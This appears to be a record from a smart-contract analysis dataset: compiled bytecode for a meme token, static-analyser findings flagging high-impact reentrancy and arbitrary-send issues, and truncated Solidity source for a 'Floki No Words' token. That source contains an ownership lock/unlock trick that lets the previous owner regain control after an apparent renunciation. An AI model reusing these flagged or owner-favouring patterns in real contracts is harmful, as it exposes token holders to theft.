fffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bd036aca45cebb1fc6d57fe7d87631478951b105a2318f1d93981dfea5132ddb64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
34
0x8fd3164207ab543508480b4d66d0e1eb678b7143
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function getUnlockTime() public view returns (uint256) { return _lockTime; } function getTime() public view returns (uint256) { return block.timestamp; } function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; _previousOwner = address(0); } } contract FlokiNoWords is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address deadAddress = 0x0000000000000000000000000000000000000666; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _antibot; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "Floki No Words"; string private _symbol = "No Words"; uint8 private _decimals = 9; uint256 public _burnFee = 10; uint256 private _previousburnFee = _burnFee; uint256 public _taxFee = 5; uint256 private _previousTaxFee = _taxFee; uint256 public _maxTxAmount = 500000000000 * 10**9; constructor () { _rOwned[_msgSender()] = _rTotal.div(100).mul(50); _rOwned[deadAddress] = _rTotal.div(100).mul(50); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[deadAddress] = true; _burnFee = 20; // Set burn fee super high until max tx turned on emit Transfer(address(0), _msgSender(), _tTotal.mul(50).div(100)); emit Transfer(address(0), deadAddress, _tTotal.mul(50).div(100)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, 